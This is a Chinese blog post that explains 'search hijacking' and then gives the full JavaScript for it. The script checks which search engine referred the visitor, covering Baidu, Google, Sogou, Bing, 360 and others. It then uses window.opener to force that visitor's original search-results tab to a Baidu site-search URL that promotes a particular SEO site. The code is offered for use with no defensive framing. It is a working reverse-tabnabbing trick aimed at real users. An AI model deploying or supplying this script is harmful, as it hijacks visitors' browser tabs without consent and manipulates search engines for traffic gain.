搜索劫持,点击搜索结果后百度的搜索结果页被跳转
不知道大家有没有遇到这样的情况,就是我们通过百度搜索一个关键词后,在搜索结果页面点击一个网页链接,然后百度自己的页面居然被强制跳转了。
这也是一种搜索劫持,现在我就讲这段代码奉上,没有点代码基础的就忽略吧。
function a(i, j) {
var k = "?wd=";
var l = "&wd=";
var m = "###";
var n = "&";
var o = i.indexOf(k);
if (o == -1) {
o = i.indexOf(l)
};
i = i.substring(o + 4, i.length);
var o = i.indexOf(m);
if (o == -1) {
o = i.indexOf(n)
};
if (o != -1) {
i = i.substring(0, o)
};
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.document.location = j
} else {
window.opener.location.href = j
}
};
function b(i, j) {
var k = "?q=";
var l = "&q=";
var m = "###";
var n = "&";
var o = i.indexOf(k);
if (o == -1) {
o = i.indexOf(l)
};
i = i.substring(o + 3, i.length);
var o = i.indexOf(m);
if (o == -1) {
o = i.indexOf(n)
};
if (o != -1) {
i = i.substring(0, o)
};
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.document.location = j
} else {
window.opener.location.href = j
}
};
function c(i, j) {
var k = "?query=";
var l = "&query=";
var m = "###";
var n = "&";
var o = i.indexOf(k);
if (o == -1) {
o = i.indexOf(l)
};
i = i.substring(o + 7, i.length);
var o = i.indexOf(m);
if (o == -1) {
o = i.indexOf(n)
};
if (o != -1) {
i = i.substring(0, o)
};
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.document.location = j
} else {
window.opener.location.href = j
}
};
function d(i, j) {
var k = "?w=";
var l = "&w=";
var m = "###";
var n = "&";
var o = i.indexOf(k);
if (o == -1) {
o = i.indexOf(l)
};
i = i.substring(o + 3, i.length);
var o = i.indexOf(m);
if (o == -1) {
o = i.indexOf(n)
};
if (o != -1) {
i = i.substring(0, o)
};
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.document.location = j
} else {
window.opener.location.href = j
}
};
function e(i, j) {
var k = "?q=";
var l = "&q=";
var m = "###";
var n = "&";
var o = i.indexOf(k);
if (o == -1) {
o = i.indexOf(l)
};
i = i.substring(o + 3, i.length);
var o = i.indexOf(m);
if (o == -1) {
o = i.indexOf(n)
};
if (o != -1) {
i = i.substring(0, o)
};
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.document.location = j
} else {
window.opener.location.href = j
}
};
function f(i, j) {
var k = "?kw=";
var l = "&kw=";
var m = "###";
var n = "&";
var o = i.indexOf(k);
if (o == -1) {
o = i.indexOf(l)
};
i = i.substring(o + 4, i.length);
var o = i.indexOf(m);
if (o == -1) {
o = i.indexOf(n)
};
if (o != -1) {
i = i.substring(0, o)
};
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.document.location = j
} else {
window.opener.location.href = j
}
};
var g = "http://www.baidu.com/s?ct=2097152&tn=0051&ie=utf-8&si=www.linzugui.com&wd=%E7%99%BD%E6%B2%B3seo";
var h = document.referrer;
h = h.toLowerCase();
if (h.indexOf("baidu.com/") != -1) {
a(h, g)
} else if (h.indexOf("google.com/") != -1 || h.indexOf("google.com.hk/") != -1) {
b(h, g)
} else if (h.indexOf("sogou.com/") != -1) {
c(h, g)
} else if (h.indexOf("soso.com/") != -1) {
d(h, g)
} else if (h.indexOf("yahoo.cn/") != -1) {
e(h, g)
} else if (h.indexOf("youdao.com/") != -1) {
e(h, g)
} else if (h.indexOf("cn.bing.com/") != -1) {
e(h, g)
} else if (h.indexOf("vnet.cn/") != -1) {
f(h, g)
} else if (h.indexOf("360.cn/") != -1) {
e(h, g)
}
